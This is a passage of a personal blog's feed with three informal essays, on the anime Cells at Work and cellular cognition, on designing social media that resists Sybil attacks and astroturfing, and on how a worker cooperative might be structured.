        <content type="html"><![CDATA[<p>Personification is one of the most basic literary devices I know. I can still remember the first time I learnt about it, I was in primary school and we were also given homework to write a story which "personified spoons and forks".</p>
<p>If you're 6 years old and don't know what personification is, it's the "projection of human characteristics onto inanimate objects" mostly used to create imagery. It's mainly used in simple ways like saying that flowers "dance" in the wind, or that rain is "indifferent" to your plans of wanting to commute with your electric skateboard (because apparently you can't ride it in the rain) so now you have to take public transport like some sort of common mule, and during a global pandemic just to top it off!</p>
<p>For my homework, being the dumbass kid I was<span class="footnote-link" id="footnote-1"><sup>(1)</sup></span>, I took it way to literally and I wrote about spoons and forks being in a world war. There were forks stabbing spoons to death and spoons… not really being able to do anything because I don't know how you'd fight with a spoon, so the spoons most certainly lost. Also I think there was something about microwaves being nukes and dish soap being chemical weapons, but let's ignore the fact that I was a primary schooler writing about forks committing war crimes and move on because I think this intro is getting long enough.</p>
<aside class="footnote-body" id="footnote-1-body"><sup>(1)</sup><span>And still am.</span></aside>
<p>What I did wasn't personification though, it was anthropomorphism, which is the "attribution of human traits, emotions, or intentions to non-human entities"<span class="footnote-link" id="footnote-2"><sup>(2)</sup></span>, so I have no idea why my teacher read a child's story about culinary genocide, accepted this even though it wasn't what she asked for, and then gave the child full marks.</p>
<aside class="footnote-body" id="footnote-2-body"><sup>(2)</sup><span>The difference is where personification is more on the "abstract", anthropomorphism would be more literal like a dog taking a more human-like form and being an actual character in the story.</span></aside>
<p>Anyway, Cells at Work (2018) is a good anime and I think you should watch it. I mean, just look at this synopsis.</p>
<blockquote>
  <p>Inside the human body, roughly 37.2 trillion cells work energetically 24 hours a day and 365 days a year. Fresh out of training, the cheerful and somewhat airheaded Red Blood Cell AE3803 is ready to take on the ever-so-important task of transporting oxygen. As usual, White Blood Cell U-1146 is hard at work patrolling and eliminating foreign bacteria seeking to make the body their new lair. Elsewhere, little platelets are lining up for a new construction project.</p>
  <p>Dealing with wounds and allergies, getting lost on the way to the lungs, and bickering with similar cell types, the daily lives of cells are always hectic as they work together to keep the body healthy!</p>
</blockquote>
<p>So it's an anime about the cells in your body. What the synopsis doesn't say is that all the cells (and bacteria) are anthropomorphised into cute anime boys/girls which makes it a thousand times better.</p>
<p>So well done Japan, with one simple trick you've made me care about biology - the <strong>worst</strong> branch of science.</p>
<p>After binging all 13 episodes in the 6 hours of the day it took<span class="footnote-link" id="footnote-3"><sup>(3)</sup></span>, I started to think about things I've never really cared about before. For example, let's look at the aforementioned "White Blood Cell U-1146". He has a sensor that can help detect where the bad bacteria are so he can get rid of them. I've seen videos of white blood cells chasing bacteria under microscopes, so it should be obvious they need some way to detect them.</p>
<aside class="footnote-body" id="footnote-3-body"><sup>(3)</sup><span>Don't ask.</span></aside>
<p>But like, how? Are they just complicated state machines? I guess you could get away with saying that.</p>
<p>Let's look at the platelets instead. They're what's responsible for healing any abrasions or cuts to your skin.</p>
<p>But like, how? How do they know when there is an abrasion? And how do they know when to stop?</p>
<p>I think the fact that we've mapped so much of the human body already is remarkable. We know a lot about the cells that make us, the proteins that make them, and the DNA that provides assembly instructions for them. But from what I've seen, we don't know much about how they work.</p>
<p>The great progress has been mainly on drilling down to the molecular level, but the higher levels are actually not that well-off. We are still pretty poor at controlling anatomical structure or knowing how to get it back on track in cancer – this is why we don't have a real regenerative medicine yet. We know how to specify individual cell fates from stem cells, but we’re still far from being able to make complex organs on demand. The few situations where we can make them are those in which we've learned to communicate with the cell swarm – providing a simple trigger, such as the bioelectric pattern that says "build an eye here", and then letting the intelligence of the cell group do the hard work and stop when the organ is done.<a href="#reference-1" class="reference-link" id="reference-1-backlink"><sup>[1]</sup></a></p>
<p>The protozoa "Stentor roeseli" (S. roeseli) lives in ponds and other still or slow-moving bodies of fresh water, is a trumpet-shape, unicellular organism large enough to be visible to the naked eye. It spends its time attached to submerged vegetation, feeding on bacteria and other small organisms and occasionally swimming.</p>
<p>In 1902, zoologist Herbert Jennings published a paper in which he described the changing behavior of S. roeseli in response to an unpleasant stimulus—the pipetting of carmine (a red dye made from powdered insect shells) into the creature’s general vicinity. According to the paper, S. roeseli’s first avoidance strategy is to bend away from the irritant. If that doesn’t work, the creature alters the direction in which its cilia beat to drive away the particles. Failing that, S. roeseli contracts its body to escape the assault. And, as a last resort, the creature detaches from the object to which it was adhered and swims away.</p>
<p>The paper was discredited after another paper in 1967 failed to reproduce the findings, but recently has been replicated once again over 100 years after the original 1902 paper.<a href="#reference-2" class="reference-link" id="reference-2-backlink"><sup>[2]</sup></a></p>
<p>Here is an excerpt from the review "<a href="http://symposium.cshlp.org/content/55/539.short">Bacterial Microprocessing</a>" from 1990.</p>
<blockquote>
  <p>To someone trying to understand the brain, the bacterium Escherichia coli must be an awesome beast. Its talents are legion, but its size is miniscule. E. coli is a cylindrical organism less than 1 μm in diameter by 2/μm long--20 would fit end-to-end in a single rod cell of the human retina or some 3000 in that of a frog. Yet, it is adept at counting molecules of specific sugars, amino acids, or dipeptides; at integration of similar or dissimilar sensory inputs over space and time; at comparing counts taken over the recent and the not so recent past; at triggering an all-or-nothing response; at swimming in a viscous medium; and as we shall see, even at pattern formation.</p>
</blockquote>
<p>You could argue that cognition can only come from a brain, the electrial networks made of neurons. And I do think there must be a fundamental difference between brained and brainless organisms. But a brain did not come out of nothing and there is little fundamental difference between neurons and other cell types. The brain is the result of selection pressure placed on organisms with the most basic form of information processing.</p>
<p>If you agree that there is some mechanism by which electrically active cells can represent past memories and an anticipated future, there is no reason why non-neural electric networks wouldn't be doing a simplified version of the same thing to accomplish their goals. Neurons evolved from far simpler cell types and some of the brain's tricks were discovered around the time of bacterial biofilms.</p>
<p>It's cognition all the way down.</p>
<p>Earlier in the year, I wrote a <a href="/post/chatbot_panpsychism">post</a> talking about panpsychism. Which to reiterate, is "the idea that all matter (animate or inanimate) is conscious, and we are just a bit more conscious than things like trees."</p>
<p>If you remember, or just read it again, I called this "bullshit" that "goes against our understanding of physics" and talked about how particles don't think. The issue with this is that I was only thinking about a good branch of science when reading about this stuff, instead of the <strong>worst</strong> branch of science.</p>
<p>The central point about cognitive systems is what they know how to detect, represent as memories, anticipate, decide among and, crucially, attempt to affect. Call this the system's cognitive horizon. One way to categorise and compare cognitive systems, whether artificial or evolved, simple or complex, is by mapping the size and shape of the goals it can support (represent and work toward).</p>
<p>Each agent's mind comprises a kind of shape in a virtual space of possible past and future events. The spatial extent of this shape is determined by how far away the agent can sense and exert actions – does it know, and act to control, events within 1 cm distance, or metres, or miles away? The temporal dimension is set by how far back it can remember, and how far forward it can anticipate – can it work towards things that will happen minutes from now, days from now, or decades from now?</p>
<p>Humans would obviously have a huge cognitive horizon, sometimes working hard for things that will happen long after they are gone, in places far away. It's certainly the biggest of any cognitive system we know of. I mean, can a shitty little virus like SARS-CoV-2 make something as smart as a story about spoon genocide? Yeah, didn't think so.</p>
<p>However, we can visualise the tiny contribution of a single cell to the projects and talents of the billions of humans working to together to create our modern, "functioning society". So, instead of treating human "genius" as a sort of black box made of magical smart-stuff, we can reinterpret it as an expansion of cognition of the cells that make us up.</p>
<p>Cells at Work made this visualistion extremely easy for me because they literally anthropomorphise cells into people with their goals clearly explained, all working together to make sure you don't die<span class="footnote-link" id="footnote-4"><sup>(4)</sup></span>. Single cell organisims might not be as complicated as us, but when all their goals are combined into more grandiose ones, it becomes a person doesn't it? Where do the cells stop and the person start?</p>
<aside class="footnote-body" id="footnote-4-body"><sup>(4)</sup><span>Funnily enough, this is my benchmark for "functioning society".</span></aside>
<p>I still don't think particles have consciousness, but if cognition drills all the way down to cells, I'm more inclined to believe that the distribution of things on the spectrum of "not-conscious" to "conscious" is skewed more towards to the latter than I previously though.</p>
<p>My, isn't learning fun?</p>
<hr />
<div class="reference" id="reference-1"><a class="reference-link" href="#reference-1-backlink"><sup>[1]</sup></a>: https://aeon.co/essays/how-to-understand-cells-tissues-and-organisms-as-agents-with-agendas</div>
<div class="reference" id="reference-2"><a class="reference-link" href="#reference-2-backlink"><sup>[2]</sup></a>: https://www.the-scientist.com/news-opinion/single-celled-organism-appears-to-make-decisions-66818</div>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[Social Media That Doesn't Suck]]></title>
        <id>https://justin.duch.me/post/good_social_media</id>
        <link href="https://justin.duch.me/post/good_social_media"/>
        <updated>2020-10-20T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Previously I stated that the "Lockdown Thoughts" series ended because Sydney hadn't had any new COVID cases in a while. But two days after that we got 8 locally transmitted cases.</p>
<p>So that was short lived.</p>
<p>This isn't technically a "Lockdown Thought" because I've actually been thinking about it for years, but eh. Who cares? Today we're going to go through some ideas for a "perfect" social media site.</p>
<p>First let's get a little into what I want to get out of social media. A little fact about me is that I frequented random hacker forums from my early to late teens, which probably explains a lot about why I have these… <a href="/post/worker_coop">certain</a> <a href="/post/astolfo">opinions</a>. I believe that these forums had a huge influence on my development as a person, and if we ignore all the terrible ideas I've been exposed to and internalised as my own<span class="footnote-link" id="footnote-1"><sup>(1)</sup></span>, the trait they implanted in me that I value the most was <em>curiosity</em>.</p>
<aside class="footnote-body" id="footnote-1-body"><sup>(1)</sup><span>There are a lot of anarchist weeaboo hackers out there.</span></aside>
<p>To me, the very basic and simplistic definition of a hacker is someone who has a stick, and pokes everything just to see how it reacts. Hacking is more of a mindset that can be applied to anything. All you need to do is look at something and say "how does that work?". I saw a lot of this in the write-ups and discussions of the forums I frequented. You were able to see people's though processes while banging their head against obfuscated code trying to reverse engineer it.</p>
<p>Even after I've stopped being as interested in computer security I still use the tools and frameworks these <del>sick fucks</del> fine gentlemen/gentlewomen taught me to reason about my work.</p>
<p>Okay this is a big digression, but to wrap it up: I value long form discussion as ways to learn new things. This is what I'm looking for in social media, which means I've already cut out the majority of the most popular ones<span class="footnote-link" id="footnote-2"><sup>(2)</sup></span> and we're mainly left with the discussion board type sites.</p>
<aside class="footnote-body" id="footnote-2-body"><sup>(2)</sup><span>Instagram/Twitter are not places for long form discussion, and you'd be an idiot if you thought otherwise.</span></aside>
<p>The most challenging problem with these places, let's use <a href="https://reddit.com">Reddit</a> as an example, is trying to cultivate quality and on-topic discussions. This usually requires having strict moderation to keep trolls out and removing low quality submissions. This doesn't always work however, most subreddits no matter how well moderated always become filled with low quality submissions as they get larger. I think that (but have no evidence of) this is because most people would be uninformed on a subreddit's topic, so as more people join, the lower the average knowledge of the subreddit becomes.</p>
<p>A similar and smaller site is <a href="https://news.ycombinator.com">Hacker News</a>, which is mainly a link aggregator for news in Silicon Valley (but other things of interest can be shared as well). Discussion here is of higher quality<span class="footnote-link" id="footnote-3"><sup>(3)</sup></span> because the site is more niche and attracts less people, although in recent years it seems to be going the way of Reddit as it grows.</p>
<aside class="footnote-body" id="footnote-3-body"><sup>(3)</sup><span>I don't actually have a very rigorous method for deciding what is "high quality" and I'm just going by how often I'll go "huh, that's interesting" when reading something from these sites.</span></aside>
<p>Obviously you'd want your website to grow, but how can you do that without sacrificing the quality of discussions? <a href="https://lobste.rs">Lobste.rs</a> makes their site invite only, which according to them "are used as a mechanism for spam-control, to slow registrations to a pace we can acculturate and to encourage users to be nice". This is a good solution in my opinion, your site won't be growing as fast and some people might get turned off by it, but that's clearly a good thing to keep quality discussions, and there are more benefits that we will get to later.</p>
<p>One thing all these sites have in common are the moderators who decide what's what. I don't like having dictator-like moderators. We're relying on the good will and trust of the admins/moderators of each site to keep it afloat. The moderators of each set the rules of whatever they're in charge of and the people have no say! If our rule is to have "high quality discussion", what constitutes as such is incredibly vague and hard to define. This make it ripe for abuse and censorship.</p>
<p>While the moderators on Hacker News seem to be doing a good job, and I don't think I'd be banned just because I don't like Paul Graham all that much, the anarchist in me would prefer to not use something where a few people have total control.</p>
<p><a href="https://getaether.net/">Aether</a> is one such attempt to solve this. It's a peer-to-peer application for self-governing communities with auditable moderation and mod elections. According to the docs, "you can actually disable the mods that you don't approve just for yourself, and those disables count as an impeach vote. If majority of the community agrees, the mod loses mod rights for a while for everyone. That makes it so that Aether communities are places where the content is what the current users of the communities want, not those who were there first by chance."</p>
<p>These are great ideas. I do love me some peer-to-peer architecture and democracy. Putting them in social media seems like a no-brainer. However, there are still some problems. The first is that peer-to-peer (or at least as it's implemented here) is slow, and content can take a very long time to load, but let's assume this will get better and ignore this. I'm not here to talk about software architecture, but about overarching design.</p>
<p>The actual problem is with… I can't believe I'm going to say this… the problem is… democracy ;( In a system like this, identities are very easy to create, which a Sybil attack, where an "attacker subverts the reputation system of a network service by creating a large number of pseudonymous identities and uses them to gain a disproportionately large influence"<a href="#reference-1" class="reference-link" id="reference-1-backlink"><sup>[1]</sup></a>, makes easy to exploit.</p>
<p>Basically, if an attacker creates multiple accounts they could easily gain the majority voting power. To fix this, you could have a wait period between joining a community and being able to vote. But then you could just make the identities in advance.</p>
<p>Or you make voting eligibility a trailing indicator where it tracks past activity to be considered a "citizen" of that community. But how do you determine what activities count? Submissions and comments? Most people don't actually post anything very often so you might get a situation were only a few people who are not representative of the whole have the power to vote.</p>
<p>Also, both are easily subverted by people who buy and sell accounts. Thanks capitalism.</p>
<p>What we could do is use the invitation tree from lobste.rs. Obviously, it won't completely stop a Sybil attack as, once the attacker gets one account they can invite as many of themselves as they want (assuming we allow it, but I think people should have unlimited invites).</p>
<p>We can add to this a "chain of responsibility", where you are responsible for the behaviour of the people you invite. Let's say you invite some people and your tree looks like this.</p>
<pre class="prettyprint linenums"><code class="plaintext language-plaintext">beanpup.py (you)
├─ beanpuppy
├─ beanpup_py
├─ beanpupper
│  ├─ lemoncat
│  ├─ LeMansCat (banned)
│  ├─ lemonc.at
├─ beanpuppe.rs
│  ├─ lemon_catto
│  ├─ Gnippots
</code></pre>
<p>Since <code class="prettyprint">LeMansCat</code> was found to be a bad actor and banned, their ban would go up the chain of responsibility to penalise <code class="prettyprint">beanpupper</code>, you, and whoever invited you, decreasing in severity at each step up. The penalty could be just getting your invite ability revoked for a period of time. If multiple people you invited were banned, this would cause an even greater penalty and probably get you banned as well. There would obviously need to be some heuristics to determine what penalty someone would get a whatever level, but this would make people cautious about who they invite, which hopefully helps cultivate a better community.</p>
<p>This still isn't foolproof, heuristics could be difficult to determine and there's still the problem of buying people off<span class="footnote-link" id="footnote-4"><sup>(4)</sup></span>, in fact it might make it worse as people are incentivised to buy accounts beneath a person to get them banned, so unless we stay in a society that uses money <strong>cough cough</strong>, I don't really see how this could work. So let's look at something else.</p>
<aside class="footnote-body" id="footnote-4-body"><sup>(4)</sup><span>Wow! Just like our real "democracy"!</span></aside>
<p>I've said the I want to avoid having dictator-like moderators because of the potential for censorship. So what if we remove the ability to censor people? Now we can have <strong>maximum free speech</strong>.</p>
<p>No.</p>
<p>Bad idea. I don't want this to turn into certain green website. "In order to maintain a tolerant society, the society must be intolerant of intolerance."<a href="#reference-2" class="reference-link" id="reference-2-backlink"><sup>[2]</sup></a></p>
<p>And that's actually all I have. I've been thinking about this for years and I got nothing.</p>
<hr />
<p>But…</p>
<p>I've been going through this entire thing assuming the worst possible thing is easy to do and would happen all the time. In computer security, people will often use <a href="https://en.wikipedia.org/wiki/Threat_model">threat models</a> where they evaluate and validate the design and task planning for a new or existing service. This involves structured thinking about potential security vulnerabilities that could adversely affect their service.<a href="#reference-3" class="reference-link" id="reference-3-backlink"><sup>[3]</sup></a></p>
<p>Let's make a simple threat model for hacking democracy. We start with our threats and look for a solution to each.</p>
<ul>
<li><strong>Threat:</strong> A random neckbeard who wants to take over our beautiful democracy with a Sybil attack.</li>
</ul>
<p><strong>Solution:</strong> Invitation tree with a chain of responsibility, the neckbeard will never get invited. And if they do, once swiftly banned, the person who invited them will be unable to do it again.</p>
<ul>
<li><strong>Threat:</strong> The NSA takes over multiple peoples account to spread capitalist propaganda by buying or hacking them (maybe they have a weak password or something I dunno).</li>
</ul>
<p><strong>Solution:</strong> None, we're screwed. Move to Greenland and hope they don't find us.</p>
<p>Right, so our threats are some neckbeard and the NSA. And we can only defend against one of them. This seems like a lost cause.</p>
<p>But don't worry we're not done, let's take a dive into the mind of the NSA and ask a question: "would doing this be worth it?"</p>
<p>What is the value proposition of taking over this site?</p>
<p>If the site is big enough, we can dictate it's core values and just as those random hacker forums have shaped me, shape the people who use it. Basically: influence, we can influence the people who use it.</p>
<p>So let's say moderator elections are happening in our site with 100 members, there are two candidates and if no interference happens, votes will go 60/40. In order to get the guy with 40 votes to win you need to buy or hack 11 people from the other side. Probably not a big deal for the NSA right? But this is a site with 100 people… who cares about it? Is it really worth the effort? You aren't going to do much with 100 people.</p>
<p>Okay, what if there's a bigger target, 1 million members, same election, votes still go 60/40. Influence over 1 million people would be pretty nice. But now to get the guy elected you need an extra 100,001 members. Bof, that's quite a bit more work. Is it worth putting the resources into this when there are easier things to do (like helping destroy any vaguely communist country before they even start developing proper communism)?</p>
<p>I don't have the answer to this, I'd like to say that it isn't worth and it would require way to much work, but I'm not the NSA, another state actor, or just a group of people who want to mess stuff up.</p>
<p>There is one more threat I've been leaving to last because this one is a biggie.</p>
<ul>
<li><strong>Threat:</strong> People don't care about the politics of some dumb site and thus, are easily outvoted or manipulated by bad actors through <a href="https://en.wikipedia.org/wiki/Astroturfing">astroturfing</a> or some other means.</li>
</ul>
<p><strong>Solution:</strong> …</p>
<p>Man, I really don't like how easy it is for me to be making these parallels to real life.</p>
<p>For real world politics, you'd try to explain to people why they should care, and how not caring affects the lives of so many other people (although most of the time this doesn't even work). I can't in good conscious do this for our imaginary website. It holds relatively little value in most people's lives, and there are way more important things to care about.</p>
<p>And honestly? I don't think even I'd care about the politics of this site. I just want a place where I can talk to other people about interesting things. I don't want to get into arguments about the <del>best</del> least worst moderator candidate every two posts.</p>
<p>Wait… candidate? This is a representative democracy! Of course it doesn't work! What we need is good ol' anarchist DIRECT DEMOCRACY <strong>BABBYYYYYYYYYY</strong>. It worked <a href="/post/worker_coop">last time</a>, surely it will work again!</p>
<p>Yeah nah. Still doesn't work, a direct democracy isn't going solve people not caring, and would actually require people to care more (as they would have to vote for more things), so a representative democracy might actually be better in this scenario.</p>
<p>So that's it, I guess. I give up. I don't know how to make social media good.</p>
<hr />
<p>However, I don't like leaving my non-rant posts on a depressing end, so I'm going to go through some of the lesser known social medias that bring some interesting ideas.</p>
<p><a href="https://retroshare.cc/">Retroshare</a> is mostly considered a communication platform, but I'll count it anyway. It's a peer-to-peer (like Aether) and encrypted platform that's mostly aimed at connecting you with your friends instead of strangers. I don't believe it would work very well if you did actually try to expand your connections to strangers due to how you can't really moderate things on a peer-to-peer network (leading to the Paradox of Tolerance again).</p>
<p>Aether actually gets around this problem by also being on a blockchain (maybe I should have mentioned that earlier) because you can moderate a blockchain as long as every agrees that your chain (with someone being banned, or a submission removed) is cannon.</p>
<p>A lot of people have tried to solve the issue of being unhappy with moderators by just cloning the site and moderating it themselves. These clearly all have the same issue, even if the owner is a better moderator, but I'll leave some here in case you're interested. Lobste.rs is actually one such clone of Hacker News, and is open source so anyone can host their own version, such as the French <a href="https://www.journalduhacker.net">Journal du hacker</a>. You would also use a <a href="https://postmill.xyz">Postmill</a> instance to replace Reddit, like <a href="https://raddle.me">Raddle</a><span class="footnote-link" id="footnote-5"><sup>(5)</sup></span>.</p>
<aside class="footnote-body" id="footnote-5-body"><sup>(5)</sup><span>Just FYI, I don't visit Raddle very often (if ever), but most members there are very left leaning, probably more so than me, so don't visit if you get triggered over political opinions.</span></aside>
<p><a href="https://joinmastodon.org">Mastodon</a> also probably isn't lesser known to the kind of person who reads my stuff, but I want to pad this post out. Basically it's federated Twitter. You know what federation is right? Oh cool, so I don't have to explain it. <a href="https://matrix.org">Matrix</a> is the other known federated communication tool to replace things like Discord or Slack.</p>
<p><a href="https://movim.eu">Movim</a> is another decentralised attempt. It's federated like Mastodon and Matrix, but more horizontally branched. Where the others try to do one thing well, Movim does several things from chatrooms, to video, and blogs. The current servers seem to be just named after countries which is cool I think. I've always thought that it would be neat if my city spun up their own servers (of any federated service, not just Movim) for the residents to use. This could maintain some amount of connection to the real world while also providing a genuine service. It would feel more like a road or trash pick up service.</p>
<p><a href="https://joinmobilizon.org/en/">Mobilizon</a> is yet another federated tool for managing events, trying to be a replacement for other sites like meetup.com and the Facebook thing for events (I don't know what it's called). It's made by Framasoft who also make <a href="https://joinpeertube.org">PeerTube</a> which is federated YouTube.</p>
<p>Anyway, that's all for today.</p>
<p>I'm serious, I'm not going to drag this on any more.</p>
<hr />
<p>Wait what's that? You want to know why Astolfo is in the thumbnail at the top?</p>
<p>Well am I glad you asked!</p>
<p>It's because I got my Astolfo figma this week and I wanted to show you all! Look here he is helping me write!</p>
<p><img src="/img/astolfo-figma.png" alt="astolfo figma" /></p>
<p>Il est tres mignon !</p>
<hr />
<div class="reference" id="reference-1"><a class="reference-link" href="#reference-1-backlink"><sup>[1]</sup></a>: https://en.wikipedia.org/wiki/Sybil_attack</div>
<div class="reference" id="reference-2"><a class="reference-link" href="#reference-2-backlink"><sup>[2]</sup></a>: https://en.wikipedia.org/wiki/Paradox\_of\_tolerance</div>
<div class="reference" id="reference-3"><a class="reference-link" href="#reference-3-backlink"><sup>[3]</sup></a>: https://github.blog/2020-09-02-how-we-threat-model/</div>]]></content>
        <author>
            <name>Justin Duch</name>
            <email>justin@duch.me</email>
            <uri>https://justin.duch.me</uri>
        </author>
    </entry>
    <entry>
        <title type="html"><![CDATA[A Worker Cooperative]]></title>
        <id>https://justin.duch.me/post/worker_coop</id>
        <link href="https://justin.duch.me/post/worker_coop"/>
        <updated>2020-10-06T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Today is Sydney's <a href="https://twitter.com/NSWHealth/status/1313269154649047040">11th day</a><span class="footnote-link" id="footnote-1"><sup>(1)</sup></span> of having no locally transmitted COVID-19 cases, which means this is probably going to be the last post in the "Lockdown Thoughts" series. If you've read any of the previous posts in the series (there's only like two of them, c'mon dude), then you'd probably assume I only think about video games and anime.</p>
<aside class="footnote-body" id="footnote-1-body"><sup>(1)</sup><span>It took me 3 days to make this post and each time I've had to go to this twitter update this link.</span></aside>
<p>And you're correct. That isn't going to change today.</p>
<p>Have you played <a href="https://store.steampowered.com/app/588650/Dead_Cells/">Dead Cells</a>? It's the only metroidvania I've ever enjoyed (unless you count the first Dark Souls) and is made by a company called "Motion Twin" which is based in… France?! UGH! I hate the French! YUCK!</p>
<p>But let's go onto their website to see if they have any job openings, because you know… uhh… I want tooo… critique their web design? Yeah I think that seems reasonable. I don't actually have any desire to enter the video game industry and making websites is a part of my job. Also, French people can't make websites because websites are rectangles and the only things the French know how to make: baguettes and croissants, are not rectangles. This is a very well known fact to any person with <a href="https://citationsneeded.libsyn.com/episode-101-the-false-universality-of-common-sense">common sense</a>.</p>
<p>Here's the first thing you see when you open their <a href="https://motion-twin.com/en/">website</a>.</p>
<p><img src="/img/motion-twin.png" alt="motion twin site" /></p>
<p>Wait, what is this? What am I reading?</p>
<p>"No boss"?</p>
<p>"Equal pay"?</p>
<p>What? I'm so confused. Are you allowed to do this? Is this a French thing I'm too civilised to understand? This goes against everything capitalism stands for! What the heck?!</p>
<p>Yeah I'm sure you saw this coming. This post isn't about video games, it's actually communist propaganda. So there you go, the three things I think about: video games, anime, and communism.</p>
<p>Anyway, this is called a "<a href="https://en.wikipedia.org/wiki/Worker_cooperative">worker cooperative</a>" or "worker co-op" for short, which usually refers to a business that is owned and managed by it's workers. I mean, this is literally just communism, if every business was structured like this then we would have communism<span class="footnote-link" id="footnote-2"><sup>(2)</sup></span>. What I'm a little surprised about is that you can actually do this under our modern capitalist society. I've been reading anarchist theory since I was 16 and not once did I realise this was a thing (or maybe I wasn't paying attention).</p>
<aside class="footnote-body" id="footnote-2-body"><sup>(2)</sup><span>Sort of. This would actually be market socialism, we need a bit more for full on communism.</span></aside>
<p>For some reason, I guess I've just been assuming that there was something stopping people from making worker co-ops in modern times unlike in the past which is why I never saw them. It's a little disappointing that I'm only hearing about this now (and the first one I found is French :/), but in the US there are only 465 verified worker co-ops<a href="#reference-1" class="reference-link" id="reference-1-backlink"><sup>[1]</sup></a> so they don't seem to be very widespread.</p>
<p>But back to the topic. Normally to adjust to traditional consumer cooperative law, each member would have an equal share in the cooperative, but there also seems to be things called "multi-stakeholder cooperatives" which are cooperatives that has more than one class of members. For instance, the British <a href="https://ecologicalland.coop/">Ecological Land Cooperative</a>, has three types of membership with each sharing a proportion of voting rights:</p>
<ul>
<li><p><strong>Investor Members</strong> have invested money in the cooperative, share 25% of voting rights and receive returns on their investment.</p></li>
<li><p><strong>Worker Members</strong> are those people that work for the cooperative. Like Investor Members, they also share 25% of voting rights. Worker Members are employees and volunteers that work at least 15 days each year.</p></li>
<li><p><strong>Steward Members</strong> are ecological land managers and share the remaining 50% of voting rights.</p></li>
</ul>
<p>But I'm an anarchist and I don't like "classes"<span class="footnote-link" id="footnote-3"><sup>(3)</sup></span> so I'm going to ignore this and pretend it doesn't exist.</p>
<aside class="footnote-body" id="footnote-3-body"><sup>(3)</sup><span>Is this why I hate object-oriented programming?</span></aside>
<p>Every worker co-op I've looked at seems to all be structured in a variety of ways, and there doesn't seem to be any real standard. CICOPA, the International Organisation of Industrial, Artisanal and Service Producers’ Cooperatives, gives an 8-page definition in their World Declaration on Workers' Cooperatives, which was approved by the International Co-operative Alliance General Assembly in September 2005. They give us a section on the basic characteristics of workers' cooperatives:</p>
<ul>
<li>They have the objective of creating and maintaining sustainable jobs and generating wealth, to improve the quality of life of the worker-members, dignify human work, allow workers’ democratic self-management and promote community and local development.</li>
<li>The free and voluntary membership of their members, in order to contribute with their personal work and economic resources, is conditioned by the existence of workplaces.</li>
<li>As a general rule, work shall be carried out by the members. This implies that the majority of the workers in a given worker cooperative enterprise are members and vice versa.</li>
<li>The worker-members’ relation with their cooperative shall be considered as different from that of conventional wage-based labor and to that of autonomous individual work.</li>
<li>Their internal regulation is formally defined by regimes that are democratically agreed upon and accepted by the worker-members.</li>
<li>They shall be autonomous and independent, before the State and third parties, in their labor relations and management, and in the usage and management of the means of production.</li>
</ul>
<p>Okay, that's neat and all, but that doesn't really explain how it's supposed to work.</p>
<p>So I'm gonna make up a structure myself as a fun exercise, because thinking about communism is <strong>fun</strong>. Most cooperatives are pretty small (Motion Twin is only 6 people) so it's going to be interesting to see how this could be scaled up to an "Apple-like" company. Let's start with the stuff you should have already gotten from reading the start of this post.</p>
<p>Each member in a cooperative has an equal share with one vote. Wikipedia says that "workers also often undergo a trial or screening period (such as three or six months) before being allowed to have full voting rights". I think that makes sense, although six months is a bit much so three is more reasonable.</p>
<p>A thing I haven't really seen talked about is how finances are managed. Like that seems pretty important, you still need to deal with capitalism and money is how it works.</p>
<p>The most common thing is that members get equal pay no matter what work you do. Again, some "multi-stakeholder cooperatives" have different salaries depending on what type of member you are. So, a "cashier" member might get a different salary to a "warehouse" member. But… why? On what basis are you saying the cashier should be paid more or less than the warehouse worker? Most people say it's based on the amount of work you do, but can you really say that one of these people does more than the other?</p>
<p>Let's use a more extreme example actually, the good ol' question: "should a CEO be getting paid &gt;10x more than the janitor?" Which basically boils down to: "does a CEO do &gt;10x more work than the janitor?" I'm sure you already have an opinion on that so I'm not going to bother.</p>
<p>But actually, there's an even easier solution to being able to have equal pay. A pretty common complaint of communism is "who will be the janitor if everyone is equal and free to do whatever they want?" To which the answer should be "no one", there should be no janitors. Like why do we have people who spend 8 hours a day cleaning toilets and shit? Everyone should be spending a little time every week cleaning their own shit, there shouldn't be a need for janitors.</p>
<p>Anyway, most small businesses operate on a loss, at least for the first few years. In the start-up world, it's pretty normal for the CEO to forgo a salary for a while to keep their employees paid. Assuming the financial situation is the same for the cooperative, operating with equal pay should be similar.</p>
<p>Although there is no CEO (because everyone is the owner), the most well off members would forgo a salary to keep the cooperative alive (if they want to obviously). This might not have as big as an impact because their salaries are the same instead of having a CEO with proportionally higher pay than their employees, so a few people may need to do it. Otherwise, you could always just vote to lower salaries or find ways to cut costs like any other business, but it's better because it's direct democracy.</p>
<p>If you're afraid that people would get lazy and not do any work if everyone has the same pay. You could implement some sort of system for bonuses, where people get rewards (probably money) for doing extra work. In most cases it's better to use rewards as incentives instead of penalties. This would probably be capped as well to make sure you aren't being underpaid and just expected to be doing more work to get bonuses. <strong>Nudge</strong> tip culture in America <strong>nudge</strong>. I do like the idea the people should be compensated more for their hard work, but oh boy, is that easy to exploit.</p>
<p>Assuming the cooperative isn't in any real financial difficulty, this would come from a "common fund" which is just a shared resource pool added to after all the expenses had been paid. The common fund could be used for much more as well, like enabling people to have start-up capital when starting new initiatives, and be a safety net if revenue starts slowing down.</p>
<p>For some reason most big businesses don't do something like this, where you just save some revenue in case stuff goes wrong (like maybe there's a global pandemic or something I dunno ¯\_(シ)_/¯). I'm assuming this has something to do with economic methodologies like "<a href="https://en.wikipedia.org/wiki/Just-in-time_manufacturing">Just-in-Time</a>" (JIT), which is a really good idea if you're know you're going to get your supplies when you ask for them, but what happens when you don't? Is this not a thing people think about? Is everyone just like "nah mate, IT'S OK! You seem them stonks?! They always go up! That means the economy is always going to be good!"</p>
<p>Maybe I should leave my rant on the entire field of economics for another time actually.</p>
<p>I haven't given any solid numbers because all this obviously depends on the cooperative, it would need to be fine tuned to each. But just as an FYI, Apple's net income for the quarter ending June 30, 2020 was $11.253 billion.<a href="#reference-2" class="reference-link" id="reference-2-backlink"><sup>[2]</sup></a> And they employ 137,000 people<a href="#reference-3" class="reference-link" id="reference-3-backlink"><sup>[3]</sup></a>, so assuming 50% goes into the common fund (which is way more than it should be for most cooperatives), each person still gets $331,176 per year. Which if I remember correctly is very close to the amount of money you need before having more stops making you happier and you're able to live a very comfortable life. Wow! What a coincidence!</p>
